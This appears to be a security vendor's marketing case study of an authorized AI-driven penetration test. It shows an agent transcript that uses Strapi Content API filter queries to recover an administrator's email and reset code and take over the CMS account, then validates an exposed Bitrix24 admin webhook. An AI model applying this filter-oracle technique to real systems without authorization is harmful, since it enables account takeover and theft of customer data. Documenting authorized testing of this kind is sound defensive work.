//Case study

Case Study: How a B2B Software Company Found and Fixed Critical CMS and CRM Vulnerabilities

In two weeks, AI Hacker assessed the external attack surface, gained access to a CMS administrator account, and discovered an exposed CRM key. Retesting confirmed that the critical vulnerabilities were fixed.

Sentra TeamSeptember 20, 20265 min read
A server rack with its door open, in a monochrome photograph.

A B2B software company is responsible for more than its own data. A successful attack on its product affects customers’ business processes and their trust in the vendor.

The attack surface changes with every release, API version, and connected service. Security therefore needs continuous assessment: spotting new risks, determining whether they can be exploited in practice, and checking that fixes work.

A large B2B software developer launched a two-week pilot of Sentra AI Hacker to assess its external attack surface and web applications.

Pilot scope

Asset and finding counts have been changed to protect the customer’s identity. Technical scenarios and validation results are preserved.

The scope and testing boundaries were agreed before the pilot began. Over two weeks, AI Hacker analyzed 868 assets.

Asset overview

868Total assets

The assessment used a black-box approach, from an external attacker’s perspective. AI Hacker recorded 423 findings: 22 vulnerabilities of varying severity and 401 informational findings.

Vulnerabilities

423Total

A Sentra expert also manually reviewed all 10 critical, high, and medium severity vulnerabilities. The most significant scenarios were validated in practice to establish the access they provided and their potential impact. The first critical findings were recorded the day after active testing began.

Confirmed attack chains

API routes, parameters, and technical field names in the examples have been changed. The sequence of checks and the boundaries of confirmed results are preserved.

1. Access to a Strapi administrator account

Sentra AI Hacker
Objective

Test administrative access through the public Strapi API.

Confirmed
3 of 3 confirmed
  1. Content APIcms.example
  2. Filter oracleeditor_link
  3. Reset coderecovery_code
  4. CMS administratorLogin confirmed
  1. AnalysisThe public API exposes /example-api/cms/records. I will start with a baseline and a filter on editor_link.contact_address: if the hidden field participates in the query, the record count should depend on the condition even when the field itself is not returned.

    The public API exposes /example-api/cms/records. I will start with a baseline and a filter on editor_link.contact_address: if the hidden field participates in the query, the record count should depend on the condition even when the field itself is not returned.

  2. Replay HTTP requestContent API responds without a session Completed
    dast_replayAnonymized excerpt
    Input
    GET /example-api/cms/records
    No Cookie or Authorization
    Result
    HTTP 200
    match_count: N (N > 0)
  3. Input validation testingFilters return different match counts Completed
    dast_fuzzAnonymized excerpt
    Input
    filters[editor_link][contact_address][$contains] = @
    Control: same field, value <non-matching control>
    Result
    contains "@" → HTTP 200 · match_count: N (N > 0)
    contains "<non-matching control>" → HTTP 200 · match_count: 0
  4. Replay HTTP requestControl using a nonexistent field Completed
    dast_replayAnonymized excerpt
    Input
    Same Content API and editor_link relation
    Replace contact_address with a nonexistent field
    Result
    HTTP 500
    An unknown field differs from a valid filter with no matches
  5. Memory recallInternal fields and LIKE behavior Context found
    Search query
    Strapi Content API: editor_link, recovery_code, startsWith, exact email comparison
    Source · Research notes · Strapi filters

    A nested filter may participate in a database query even when the field is absent from the JSON response. In LIKE, the character _ is a wildcard. The recovered email must be checked using $eq; acceptance of a token filter alone does not mean a token already exists.

  6. AnalysisThere is a match/no-match difference, while an unknown field returns 500. The server processes the nested user field. I will check whether it accepts recovery_code: a value may be recoverable through responses even if it is never returned in JSON.

    There is a difference between matches found → no matches, while an unknown field returns 500. The server processes the nested user field. I will check whether it accepts recovery_code: a value may be recoverable through responses even if it is never returned in JSON.

  7. Replay HTTP requestThe recovery_code filter is accepted Completed
    dast_replayAnonymized excerpt
    Input
    filters[editor_link][recovery_code][$startsWith]
    Value: <candidate prefix>
    Result
    HTTP 200
    Filter on the internal field accepted
  8. Replay HTTP requestNo reset code before the recovery request Completed
    dast_replayAnonymized excerpt
    Input
    filters[editor_link][recovery_code][$notNull] = true
    Before the account/recovery request
    Result
    HTTP 200
    match_count: 0
  9. AnalysisEmail extraction has a trap: _ in LIKE matches any character. I will verify the recovered address with $eq to avoid accepting a similar but incorrect value.

    Email extraction has a trap: _ in LIKE matches any character. I will verify the recovered address with $eq to avoid accepting a similar but incorrect value.

  10. Input validation testingEmail recovered through suffix matching Completed
    dast_fuzzAnonymized excerpt
    Input
    Test editor_link.contact_address using $endsWith
    Refine the address after ambiguous LIKE matching
    Result
    Candidate email: [redacted]
    Suffix match found
  11. Replay HTTP requestFull email matches using $eq Completed
    dast_replayAnonymized excerpt
    Input
    filters[editor_link][contact_address][$eq] = <recovered address>
    Result
    HTTP 200
    match_count: N (N > 0)
    Exact match confirmed
  12. DecisionObtain approval for the recovery request

    The request sends an email; changing the password modifies the account. The customer approved these actions in this case.

  13. Replay HTTP requestReset code appears after the recovery request Completed
    dast_replayAnonymized excerpt
    Input
    POST /example-api/cms/account/recovery
    {"contact_address":"[redacted]"}
    Repeat recovery_code[$notNull]
    Result
    HTTP 204
    Before recovery: match_count 0
    After recovery: match_count N > 0
  14. AnalysisThe code now exists and is accessible through the same oracle. I will complete the approved password change and login. Further CMS vulnerabilities are a separate scope and are not part of this result.

    The code now exists and is accessible through the same oracle. I will complete the approved password change and login. Further CMS vulnerabilities are a separate scope and are not part of this result.

  15. Input validation testingReset code recovered through the oracle Completed
    dast_fuzzAnonymized excerpt
    Input
    Bounded recovery_code prefix testing
    The recovered value is not published
    Result
    recovery_code: [redacted]
    Code passed to the approved validation step
  16. FindingAccess to the administrator account

    The approved password change and administrator login were completed. Critical vulnerabilities were retested after remediation.

Attack chain
Confirmed

CMS administrator takeover through the Content API

An external party gains administrative CMS access

Business risk
80/100
Exploitation likelihood
95%

Attack path

Initial access
An external visitor without an account. The customer approved the password change.
01Filtering on hidden administrator fieldsContent API Filter oracleConfirmed
Prerequisite
The Content API is accessible without a session and accepts nested filters.
Result
Record counts depend on the editor_link condition; the internal recovery_code field is accepted.
Content API responds without a session
Anonymized research evidence excerpt
Request / action
GET /example-api/cms/records
No Cookie or Authorization
Observation
HTTP 200
match_count: N (N > 0)
Open in workflow
Filters return different match counts
Anonymized research evidence excerpt
Request / action
filters[editor_link][contact_address][$contains] = @
Control: same field, value <non-matching control>
Observation
contains "@" → HTTP 200 · match_count: N (N > 0)
contains "<non-matching control>" → HTTP 200 · match_count: 0
Open in workflow
Control using a nonexistent field
Anonymized research evidence excerpt
Request / action
Same Content API and editor_link relation
Replace contact_address with a nonexistent field
Observation
HTTP 500
An unknown field differs from a valid filter with no matches
Open in workflow
The recovery_code filter is accepted
Anonymized research evidence excerpt
Request / action
filters[editor_link][recovery_code][$startsWith]
Value: <candidate prefix>
Observation
HTTP 200
Filter on the internal field accepted
Open in workflow
02Obtaining a valid reset codeFilter oracle Reset codeConfirmed
Prerequisite
Email verified through exact comparison. Recovery request approved.
Result
A code appeared after the recovery request and was recovered through the same oracle.
Full email matches using $eq
Anonymized research evidence excerpt
Request / action
filters[editor_link][contact_address][$eq] = <recovered address>
Observation
HTTP 200
match_count: N (N > 0)
Exact match confirmed
Open in workflow
No reset code before the recovery request
Anonymized research evidence excerpt
Request / action
filters[editor_link][recovery_code][$notNull] = true
Before the account/recovery request
Observation
HTTP 200
match_count: 0
Open in workflow
Reset code appears after the recovery request
Anonymized research evidence excerpt
Request / action
POST /example-api/cms/account/recovery
{"contact_address":"[redacted]"}
Repeat recovery_code[$notNull]
Observation
HTTP 204
Before recovery: match_count 0
After recovery: match_count N > 0
Open in workflow
Reset code recovered through the oracle
Anonymized research evidence excerpt
Request / action
Bounded recovery_code prefix testing
The recovered value is not published
Observation
recovery_code: [redacted]
Code passed to the approved validation step
Open in workflow
03Password change and administrator loginReset code CMS administratorConfirmed
Prerequisite
A valid code was obtained; the customer authorized the password change.
Result
Administrator login was confirmed in this case. Critical vulnerabilities were retested after remediation.
Access to the administrator account
Anonymized research evidence excerpt

The approved password change and administrator login were completed. Critical vulnerabilities were retested after remediation.

Open in workflow

An external party gains administrative CMS access

Administrator login was confirmed with approval. Retesting of critical vulnerabilities passed after remediation.

Success criterion

Administrator login confirmed after an approved password reset.

Remediation

Block filtering on internal fields

Prevent the public Content API from filtering on administrator relations and update the CMS.

Revoke exposed codes and review access

Invalidate recovery codes and retest administrator access.

The chain began with CVE-2026-27886. The public API accepted filters on hidden fields and returned different responses depending on whether a value matched. AI Hacker used these differences to recover the administrator’s email address and then a password reset code.

With the customer’s approval, the password was changed and the account was accessed. Administrator account takeover was confirmed in practice.

2. An exposed administrative Bitrix24 webhook

Sentra AI Hacker
Objective

Check the privileges of a webhook found in public client configuration.

Confirmed
3 of 3 confirmed
  1. Public pageportal.example
  2. Webhookclient_settings
  3. AdministratorIntegration profile
  4. CRM APIAllowed methods
  1. AnalysisThe app-bootstrap contains client_settings.crm_hook_url. The URL resembles an incoming webhook: /example-api/integration/<actor>/<key>/. I will start with actor-info without a session to check that the key is active and identify its user.

    Within app-bootstrap there is client_settings.crm_hook_url. The URL resembles an incoming webhook: /example-api/integration/<actor>/<key>/. I will start with actor-info without a session to check that the key is active and identify its user.

  2. Inspect HTTP trafficWebhook found in the public page HTML Completed
    dast_get_trafficAnonymized excerpt
    Input
    GET /
    script#app-bootstrap → client_settings
    Result
    crm_hook_url:
    https://crm.example/example-api/integration/<actor>/[key]/
  3. Memory recallDistinguishing the key’s user from its privileges Context found
    Search query
    Incoming Bitrix24 webhook: actor-info, permission-list, operation-list; validation without changing CRM data
    Source · Assessment evidence · Integration metadata methods

    actor-info identifies the webhook user, permission-list shows the allowed scope, and operation-list lists available methods. These responses must be considered together: is_admin does not replace a CRM scope check or prove that every operation was executed.

  4. AnalysisThe secret is already in the path /example-api/integration/<actor>/<key>/; this access method requires no browser session. I will remove Cookie and Authorization when replaying the request so the administrator profile cannot be attributed to my own session.

    The secret is already in the path /example-api/integration/<actor>/<key>/; this access method requires no browser session. I will remove Cookie and Authorization when replaying the request so the administrator profile cannot be attributed to my own session.

  5. Replay HTTP requestactor-info: is_admin=true Completed
    dast_replayAnonymized excerpt
    Input
    GET /example-api/integration/<actor>/[key]/actor-info
    No Cookie or Authorization
    Result
    HTTP 200
    {"actor_context":{"is_admin":true}}
  6. AnalysisThe webhook is active and the profile returned is_admin: true. Next I will check permission-list: the administrator flag alone does not establish which scopes this key can access.

    The webhook is active and the profile returned is_admin: true. Next I will check permission-list: the administrator flag alone does not establish which scopes this key can access.

  7. Replay HTTP requestpermission-list: CRM access allowed Completed
    dast_replayAnonymized excerpt
    Input
    GET /example-api/integration/<actor>/[key]/permission-list
    Result
    HTTP 200
    {"access_areas":["crm"]}
  8. Replay HTTP requestoperation-list returns allowed methods Completed
    dast_replayAnonymized excerpt
    Input
    GET /example-api/integration/<actor>/[key]/operation-list
    Result
    HTTP 200
    List of methods for this webhook retrieved
  9. Execute commandThe list includes CRM operations and batch requests Completed
    computer_executeAnonymized excerpt
    Input
    Local analysis of the saved operation-list
    Identify CRM object operations and batch requests; do not invoke the operations
    Result
    Operations on CRM leads, deals, contacts, companies, and activities
    Batch requests
  10. AnalysisThe secret is in HTML, actor-info confirms an administrator, and permission-list and operation-list confirm CRM access. This is enough for the report. Creating or deleting customer objects is unnecessary to verify these privileges.

    The secret is in HTML, actor-info confirms an administrator, permission-list and operation-list confirm CRM access. This is enough for the report. Creating or deleting customer objects is unnecessary to verify these privileges.

  11. DecisionStop after metadata requests

    Only actor-info, permission-list, and operation-list were called. No CRM data was created, modified, or deleted.

  12. FindingExposed administrative Bitrix24 webhook

    An external visitor obtains an active integration secret with CRM access. The key must be revoked and removed from client configuration.

Attack chain
Confirmed

Exposed administrative Bitrix24 webhook

An external party obtains an integration key with CRM access

Business risk
80/100
Exploitation likelihood
95%

Attack path

Initial access
An external visitor to the public page without a session.
01Extracting a secret from HTMLPublic page WebhookConfirmed
Prerequisite
client_settings is included in the public page’s app-bootstrap.
Result
A webhook URL containing an integration secret was found in the configuration.
Webhook found in the public page HTML
Anonymized research evidence excerpt
Request / action
GET /
script#app-bootstrap → client_settings
Observation
crm_hook_url:
https://crm.example/example-api/integration/<actor>/[key]/
Open in workflow
02Validating an active administrator keyWebhook AdministratorConfirmed
Prerequisite
The webhook can be called without a user session.
Result
actor-info returns HTTP 200 with is_admin=true.
actor-info: is_admin=true
Anonymized research evidence excerpt
Request / action
GET /example-api/integration/<actor>/[key]/actor-info
No Cookie or Authorization
Observation
HTTP 200
{"actor_context":{"is_admin":true}}
Open in workflow
03Available CRM methodsAdministrator CRM APIConfirmed
Prerequisite
permission-list permits CRM access; operation-list lists operations on its objects.
Result
Privileges were confirmed through metadata methods. Object creation, modification, and deletion were not tested.
permission-list: CRM access allowed
Anonymized research evidence excerpt
Request / action
GET /example-api/integration/<actor>/[key]/permission-list
Observation
HTTP 200
{"access_areas":["crm"]}
Open in workflow
operation-list returns allowed methods
Anonymized research evidence excerpt
Request / action
GET /example-api/integration/<actor>/[key]/operation-list
Observation
HTTP 200
List of methods for this webhook retrieved
Open in workflow
The list includes CRM operations and batch requests
Anonymized research evidence excerpt
Request / action
Local analysis of the saved operation-list
Identify CRM object operations and batch requests; do not invoke the operations
Observation
Operations on CRM leads, deals, contacts, companies, and activities
Batch requests
Open in workflow

An external party obtains an integration key with CRM access

is_admin=true, access_areas=crm. Metadata methods were tested; CRM objects were not modified.

Success criterion

The webhook is active: actor-info returns is_admin=true and permission-list includes CRM. CRM objects were not modified.

Remediation

Revoke the exposed webhook

Rotate the integration secret and review its usage.

Move the secret to the server

Remove the webhook from HTML and client configuration; restrict integration privileges.

A valid Bitrix24 webhook was found in client-side configuration available to any visitor. A few metadata requests confirmed that the key was active, had administrator privileges, and provided access to CRM and its API methods.

Such a key allows CRM objects to be read and modified, creating a risk of both data disclosure and tampering. No CRM records were accessed or changed during the assessment; metadata requests were sufficient.

Pilot outcome

The customer received a detailed technical report covering:

  • vulnerabilities and their severity;
  • evidence and reproduction steps for confirmed scenarios;
  • attack chains and their potential consequences;
  • remediation guidance, divided into immediate and additional measures.

Sentra automatically prioritized vulnerabilities based on confirmed exploitation scenarios and business risk. The customer fixed the critical vulnerabilities, and retesting confirmed that the fixes worked.

The company is now preparing to integrate Sentra AI Hacker into continuous security assessment.

Pilot

Let’s discuss the scope and terms of your pilot

Request a pilot
Request a pilot contact@sentra-tech.ru